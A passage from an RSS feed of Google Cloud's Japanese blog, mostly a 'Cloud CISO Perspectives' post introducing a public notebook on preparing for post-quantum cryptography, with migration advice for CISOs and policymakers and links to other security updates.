の試用&lt;/a&gt;を開始して、ブラウザ内の高度な保護機能をご利用ください。&lt;/li&gt;&lt;li data-block-key="1f0sp"&gt;&lt;a href="https://www.lenovo.com/us/en/solutions/digital-workplace" target="_blank"&gt;Lenovo Digital Workplace Solutions with Google&lt;/a&gt; は、職場全体を 1 つのセキュアなモジュール型ソリューションとして統合します。信頼できるパートナーに面倒な作業を任せることができるため、IT を簡素化し、自信を持って AI を管理しながら、自社のペースで拡張できます。&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="c9f7t"&gt;* &lt;a href="https://www.forbes.com/sites/bryanrobinson/2026/06/28/the-rise-of-bring-your-own-ai-to-work-as-leaders-fall-behind/" target="_blank"&gt;Forbes&lt;/a&gt; の 2026 年の職場における「BYO AI」に関するレポート、および&lt;a href="https://airia.com/blog/shadow-ai-statistics-key-data-points-every-ciso-needs-in-2026/" target="_blank"&gt; Airia&lt;/a&gt; のシャドー AI に関する統計レポート&lt;/p&gt;&lt;p data-block-key="5oa2e"&gt;&lt;i&gt;- Android Enterprise、プロダクト＆エンジニアリング担当バイス プレジデント、&lt;/i&gt;&lt;b&gt;&lt;i&gt;David Still&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="eksd2"&gt;&lt;i&gt;- Chrome Enterprise およびセキュリティ、プロダクト管理ディレクター、&lt;/i&gt;&lt;b&gt;&lt;i&gt;Mark Berschadski&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 23 Oct 2026 00:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/chrome-enterprise/secure-intelligent-experiences-across-every-endpoint/</guid><category>Chrome Enterprise</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/BlogBanner_OP3.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>あらゆるエンドポイントでセキュアかつインテリジェントなエクスペリエンスを実現</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/BlogBanner_OP3.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/chrome-enterprise/secure-intelligent-experiences-across-every-endpoint/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>David Still</name><title>Vice President, Product &amp; Engineering, Android Enterprise</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Mark Berschadski</name><title>Director, Product Management</title><department>Chrome Enterprise &amp; Security</department><company></company></author></item><item><title>Cloud CISO の視点: CISO や政策立案者が PQC への準備を整えるのに役立つ Gemini Notebook の新しいノートブック</title><link>https://cloud.google.com/blog/ja/products/identity-security/cloud-ciso-perspectives-new-gemini-notebook-can-help-cisos-policymakers-prepare-for-pqc/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="eucpw"&gt;※この投稿は米国時間 2026 年 10 月 15 日に、Google Cloud blog に&lt;a href="https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-new-gemini-notebook-can-help-cisos-policymakers-prepare-for-pqc?e=48754805&amp;amp;hl=en"&gt;投稿&lt;/a&gt;されたものの抄訳です。&lt;/p&gt;&lt;p data-block-key="d85n4"&gt;2026 年 10 月最初の投稿となる「Cloud CISO の視点」をご覧いただきありがとうございます。今回は、Stephanie Kiel がポスト量子暗号（PQC）に対する Google のアプローチの最新情報について説明し、CISO や経営幹部が組織の PQC への準備を整えるのに役立つ新しいツールをご紹介します。&lt;/p&gt;&lt;p data-block-key="f281t"&gt;これまでのすべての「Cloud CISO の視点」と同様、このニュースレターのコンテンツは&lt;a href="https://cloud.google.com/blog/products/identity-security/"&gt; Google Cloud 公式ブログ&lt;/a&gt;に投稿されます。このニュースレターをウェブサイトでご覧になっており、メール版の受信をご希望の方は、&lt;a href="https://cloud.google.com/resources/google-cloud-ciso-newsletter-signup"&gt;こちらからご登録&lt;/a&gt;ください。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-aside"&gt;&lt;dl&gt;
    &lt;dt&gt;aside_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;title&amp;#x27;, &amp;#x27;Google Cloud で取締役向けの重要な情報を得る&amp;#x27;), (&amp;#x27;body&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac248b8f10&amp;gt;), (&amp;#x27;btn_text&amp;#x27;, &amp;#x27;インサイト ハブを見る&amp;#x27;), (&amp;#x27;href&amp;#x27;, &amp;#x27;https://cloud.google.com/solutions/security/board-of-directors?utm_source=cgc-site&amp;amp;utm_medium=et&amp;amp;utm_campaign=FY26-Q2-GLOBAL-GCP39634-email-dl-dgcsm-CISOP-NL-177159&amp;amp;utm_content=-&amp;amp;utm_term=-&amp;#x27;), (&amp;#x27;image&amp;#x27;, &amp;lt;GAEImage: GCAT-replacement-logo-A&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="hswvv"&gt;&lt;b&gt;CISO や政策立案者が PQC への準備を整えるのに役立つ Gemini Notebook の新しいノートブック&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="699sc"&gt;&lt;i&gt;Google Cloud、クラウド セキュリティ ポリシー、政府関連業務および公共政策責任者、Stephanie Kiel&lt;/i&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_with_image"&gt;&lt;div class="article-module h-c-page"&gt;
  &lt;div class="h-c-grid uni-paragraph-wrap"&gt;
    &lt;div class="uni-paragraph
      h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
      h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3"&gt;

      






  

    &lt;figure class="article-image--wrap-small
      
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Stephanie_Kiel_crop.max-1000x1000.jpg"
        
          alt="Stephanie Kiel crop"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nj7d4"&gt;Stephanie Kiel, Head of Cloud Security Policy, Government Affairs and Public Policy, Google Cloud&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  





      &lt;p data-block-key="0jyqm"&gt;ポスト量子暗号（PQC）は、セキュリティに関してこの 10 年間で最も緊急性の高い変化の一つであり、最も無視されやすいものでもあります。セキュリティ リーダーや政策立案者にとって、この研究内容は、論文やエンジニアリング ブログに散在しており、専門的で理解が難しいため、対応するのは困難な場合があります。&lt;/p&gt;&lt;p data-block-key="7k2io"&gt;そこで、Google の PQC 研究、エンジニアリング ブログ、移行ガイダンスを 1 か所にまとめた、Gemini Notebook の公開ノートブック「&lt;a href="https://notebook.google.com/notebook/68849586-67c5-4165-8f72-64a61991f1dd"&gt;ポスト量子暗号への準備&lt;/a&gt;」をリリースします。質問したり、音声解説を聴いたり、フラッシュカードで理解度をテストしたりして、量子脅威についてすばやく理解を深めましょう。&lt;/p&gt;&lt;p data-block-key="bqod3"&gt;&lt;b&gt;PQC が今重要な理由&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="70fao"&gt;量子コンピューティングは、理論から現実へと急速に移行しています。&lt;a href="https://blog.google/technology/research/google-willow-quantum-chip/"&gt;Willow チップ&lt;/a&gt;と&lt;a href="https://blog.google/innovation-and-ai/technology/research/quantum-echoes-willow-verifiable-quantum-advantage/"&gt; Quantum Echoes アルゴリズム&lt;/a&gt;は、大きな進歩を遂げています。Google Research の推定によると、&lt;a href="https://arxiv.org/abs/2603.28846"&gt;ECDLP-256&lt;/a&gt; と&lt;a href="https://arxiv.org/abs/2505.15917"&gt; RSA-2048&lt;/a&gt; の暗号化（オンライン データの多くを保護する公開鍵暗号スキーム）を破るには、それぞれ約 50 万個と 100 万個の不完全な量子コンピュータ コンポーネント（ノイズの多い量子ビット）が必要になります。&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-pull_quote"&gt;&lt;div class="uni-pull-quote h-c-page"&gt;
  &lt;section class="h-c-grid"&gt;
    &lt;div class="uni-pull-quote__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
      h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3"&gt;
      &lt;div class="uni-pull-quote__inner-wrapper h-c-copy h-c-copy"&gt;
        &lt;q class="uni-pull-quote__text"&gt;そこで、Google の PQC 研究、エンジニアリング ブログ、移行ガイダンスを 1 か所にまとめた、Gemini Notebook の公開ノートブック「ポスト量子暗号への準備」をリリースします。&lt;/q&gt;

        
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/section&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;この研究内容は、現在すでに私たちに影響を及ぼしており、昨今のオンライン セキュリティが、将来の量子コンピュータに対して、これまで考えられていたよりも脆弱であることを示しています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.ietf.org/archive/id/draft-reddy-uta-pqc-app-03.html#name-timeline-for-transition" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Store Now, Decrypt Later&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; 攻撃は、攻撃者が暗号化されたデータを盗み、十分に強力な量子コンピュータが実現するまで待ってから、そのデータを復号するものです。医療記録、財務データ、知的財産、政府機密など、長年機密情報として扱われてきたデータは、すでに危険にさらされています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;アーキテクチャ、量子アルゴリズム、量子誤り訂正の継続的な進歩により、将来の量子ハードウェアの要件は縮小しているため、デジタルロックのアップグレードを待つことは、現実的な選択肢ではありません。組織が時代の先を行くことができるよう、Google は 2029 年までに PQC に移行する計画を記した&lt;/span&gt;&lt;a href="https://blog.google/innovation-and-ai/technology/safety-security/cryptography-migration-timeline/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;移行タイムライン&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;を公開し、他社にも同様の検討を促しています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;テクノロジーの進歩に伴い、政策立案者は、重要インフラの所有者や運営者に、タイムラインの短縮を認識し、既存のリスク軽減計画に PQC への準備を組み込むよう促すことを検討する必要があります。また、政府が世界各国の政府関係者と連携して、標準開発への調和のとれたアプローチを推進し、耐量子に焦点を当てた政策や規制要件の構築に技術やセキュリティの専門家を関与させることも Google は推奨します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Google の PQC に関する専門知識を 1 つのノートブックに&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「ポスト量子暗号への準備」ノートブックは、Google が長年培ってきた専門知識を、誰でも利用できるインタラクティブな入門書にまとめたものです。量子時代、量子コンピューティングのブレークスルー（Willow、Quantum Echoes、表面コードエラー抑制など）、業界の PQC 標準、Google 独自のデプロイ、最新の研究を網羅する、厳選された Google のソースに基づいて作成されています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;このノートブックでは、以下のことができます。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Google のソースに基づく回答を得る。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;ポッドキャスト形式の音声解説を聴く。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;フラッシュカードで PQC の理解度を確認する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;量子脅威のインタラクティブで視覚的な図を確認する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;簡潔な概要ドキュメントを読む。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;以下のプロンプトをお試しください&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;まずは、ノートブックに次のような質問をしてみましょう。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;CISO 向け&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;:「CISO は PQC への移行の最初の 90 日間で何を優先すべき？」&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;PQC について詳しく知らないユーザー向け&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;:「Store Now, Decrypt Later についてわかりやすく説明して。」&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;デベロッパー向け&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;:「Chrome でのハイブリッド ML-KEM 鍵交換はどのような仕組み？」&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;すべての生成 AI と同様に、ノートブックも間違えることがあるため、リンクされたソースと照らし合わせて回答を確認してください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;直面しているリスク&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SHA-1 からの移行や TLS のアップグレードなど、過去の暗号移行には 10 年以上かかっています。ウェブ トラフィック、ソフトウェア アップデート、デジタル ID、署名などのデジタル要素を保護するうえで公開鍵暗号が重要であることを考えると、暗号解読に適した量子コンピュータが利用可能になるまで移行を待つことは、重大なセキュリティ リスクとなります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;CISO の方は、まず以下のことを行うことをおすすめします。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="2" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;組織内で暗号化が脆弱な場所を&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;把握&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="2" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;量子脅威のリスクが最も高いデータとシステムを&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;特定して優先順位を付け&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;、これらのリスクに対処するための計画を策定する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="2" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;PQC への移行が&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;システム全体に及ぼす影響を予測&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="2" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Heartbleed などの過去の経験から得た教訓を活かして、セキュリティ計画に暗号アジリティを&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;組み込む&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;これらの推奨事項の詳細については、以前の&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-prepare-early-for-PQC-resilient-cryptographic-threats?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ブログ投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;をご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;セキュリティ コミュニティ全体で、この移行が成功するには、暗号化専門チームを持つ組織だけでなく、誰もがこの知識にアクセスできる必要があります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Google が PQC を実現している方法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google は長年にわたって PQC をデプロイしてきました。注目すべき点は以下のとおりです。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://blog.chromium.org/2023/08/protecting-chrome-traffic-with-hybrid.html" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ハイブリッド Kyber-ML-KEM 鍵交換による Chrome トラフィックの保護&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://blog.google/security/security-for-the-quantum-era-implementing-post-quantum-cryptography-in-android/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Android における PQC&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/blog/products/identity-security/announcing-quantum-safe-digital-signatures-in-cloud-kms"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud KMS での耐量子デジタル署名&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/blog/products/identity-security/why-google-now-uses-post-quantum-cryptography-for-internal-comms?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google の社内通信用の PQC&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://www.wiz.io/blog/wiz-for-pqc-readiness" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;コード、クラウド、ランタイムにわたる Wiz の PQC 対応状況スキャナ&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google はまた、Amazon Web Services、Cisco、IBM、NVIDIA などの業界リーダーとともに、Linux Foundation で &lt;/span&gt;&lt;a href="https://pqca.org/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Post-Quantum Cryptography Alliance&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;（ポスト量子暗号アライアンス）を共同設立し、&lt;/span&gt;&lt;a href="https://openquantumsafe.org/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Open Quantum Safe&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; などのオープンソース ツールをサポートしています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;チーム独自の PQC ノートブックを作成する&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;組織のニーズに合わせて、PQC に関する Google の Gemini Notebook のノートブックと同様のリソースを作成する方法は次のとおりです。&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;信頼できるソースをキュレートします&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;。まずは、信頼できる研究、標準、ガイダンスを絞り込みます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;中立的なプロンプトを作成します&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;。出力がソースを根拠とするように、指示は事実に基づくものにしてください。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;AI の免責条項とウェルカム メッセージを追加します&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;。ノートブックの内容を読者に伝え、AI が間違える可能性があることを注意喚起します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;すべての出力を人間の目で確認します&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;。共有する前に、専門家にすべてのアーティファクトをチェックしてもらいます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;今すぐ準備を始めましょう&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;量子移行はすでに始まっていますが、組織の準備を始めるにあたり 100 ページのホワイトペーパーを読む必要はありません。まずは脅威を理解し、次に暗号インベントリを評価して、移行ロードマップを構築します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;今すぐ Gemini Notebook の「ポスト量子暗号への準備」ノートブックを確認し、チームと共有しましょう。PQC に対する Google Cloud のアプローチについて詳しくは、専用の &lt;/span&gt;&lt;a href="https://cloud.google.com/security/resources/post-quantum-cryptography"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Cloud PQC リソースハブ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;をご覧ください。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-aside"&gt;&lt;dl&gt;
    &lt;dt&gt;aside_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;title&amp;#x27;, &amp;#x27;新しいことを学ぶ&amp;#x27;), (&amp;#x27;body&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac258efbd0&amp;gt;), (&amp;#x27;btn_text&amp;#x27;, &amp;#x27;今すぐ見る&amp;#x27;), (&amp;#x27;href&amp;#x27;, &amp;#x27;https://www.youtube.com/watch?v=Wpo-5ke9uvQ&amp;#x27;), (&amp;#x27;image&amp;#x27;, &amp;lt;GAEImage: Cloud-CISO-Perspectives-logo-A&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="4bd61"&gt;&lt;b&gt;その他の最新情報&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="3p922"&gt;セキュリティ チームからこれまでに届いた今月のアップデート、プロダクト、サービス、リソースに関する最新情報は以下のとおりです。&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="buef1"&gt;&lt;b&gt;マシンスピードの時代にビジネスのアジリティを確保する方法&lt;/b&gt;: 最新の脅威の状況について経営幹部が知っておくべきこと、セキュリティ チームが取るべき対応、Google AI Threat Defense が役立つ理由について説明します。&lt;a href="https://cloud.google.com/transform/securing-enterprise-agility-in-the-machine-speed-era"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="eikmb"&gt;&lt;b&gt;Gemini 4 Argon が Google Cloud で利用可能に&lt;/b&gt;: Google の新しいフロンティア モデルである Gemini 4 Argon が、Google Cloud で誰でも利用できるようになります。防御側の優位性を高めるうえで、これがどのように役立つのかをご紹介します。&lt;a href="https://cloud.google.com/blog/ja/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="g3v2"&gt;&lt;b&gt;オンデバイス AI 向けの Android の次世代エンクレーブ&lt;/b&gt;: パーソナライズされたオンデバイス AI エクスペリエンスを実現する Android のエンクレーブ アーキテクチャについて説明します。&lt;a href="https://blog.google/security/enabling-the-next-gen-enclave-architecture-for-on-device-ai-on-android/" target="_blank"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="8b7vn"&gt;&lt;b&gt;Wiz Red Agent が、他のツールでは見逃されていた Fortune 500 企業のデータ漏洩を検出&lt;/b&gt;: Red Agent は、攻撃者の視点から、機密データを公開しているページを数分で発見しました。&lt;a href="https://www.wiz.io/blog/red-agent-financial-services-data-exposure" target="_blank"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="20arr"&gt;&lt;b&gt;最近の ccTLD レジストリのハイジャックに対する Chrome の対応&lt;/b&gt;: 最近発生した .gh、.sl、.as ccTLD ドメインのハイジャックを受け、Chrome は CRLSet を通じて不正な HTTPS 証明書を即座にブロックし、ユーザーを自動的に保護しました。&lt;a href="https://blog.google/security/chromes-response-to-recent-cctld-registry-hijacks/" target="_blank"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="b4kc7"&gt;&lt;b&gt;Wiz Blue Agent の視点: AWS と GitHub にわたるデータ盗難の調査&lt;/b&gt;: Blue Agent が AWS と GitHub にわたる証拠を追跡し、侵害された認証情報、盗まれたソースコード、カスタムのデータ引き出しツールを明らかにして、マルチプラットフォーム攻撃を数分で調査した方法をご覧ください。&lt;a href="https://www.wiz.io/blog/blue-agent-data-exfiltration-investigation" target="_blank"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="1hhi2"&gt;&lt;b&gt;Wiz AI SAST のご紹介: ユーザーを理解するアプリケーション セキュリティ&lt;/b&gt;: Wiz Research によって支援され、既存のセキュリティ プログラムで運用化されている AI コードスキャナを使用して、複雑なビジネス ロジックの欠陥を検出、検証、修正します。&lt;a href="https://www.wiz.io/blog/introducing-wiz-ai-sast" target="_blank"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="31s27"&gt;&lt;b&gt;Kubernetes サプライ チェーンを保護する WizOS Helm チャートの導入&lt;/b&gt;: WizOS Helm チャートは、Kubernetes 向けに強化、署名された、CVE スキャン済みのチャートにより、隠れた CI / CD リスクやメンテナンスされていない依存関係を排除するのに役立ちます。&lt;a href="https://www.wiz.io/blog/wizos-helm-charts" target="_blank"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="9eo6q"&gt;&lt;b&gt;Wiz サービス カタログの新機能&lt;/b&gt;: よりスマートな検出、ガバナンス、サービスレベルのコンテキストにより、サービス カタログをより迅速に構築し、サービス コンテキストを最新の状態に保ち、クラウドのリスクからアカウンタビリティまでの明確な道筋をチームに提供できます。&lt;a href="https://www.wiz.io/blog/wiz-service-catalog-updates" target="_blank"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="54cif"&gt;&lt;a href="https://cloud.google.com/blog/ja/products/identity-security"&gt;今月公開された&lt;/a&gt;その他のセキュリティ関連の記事については、Google Cloud 公式ブログをご覧ください。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-aside"&gt;&lt;dl&gt;
    &lt;dt&gt;aside_block&lt;/dt&gt;
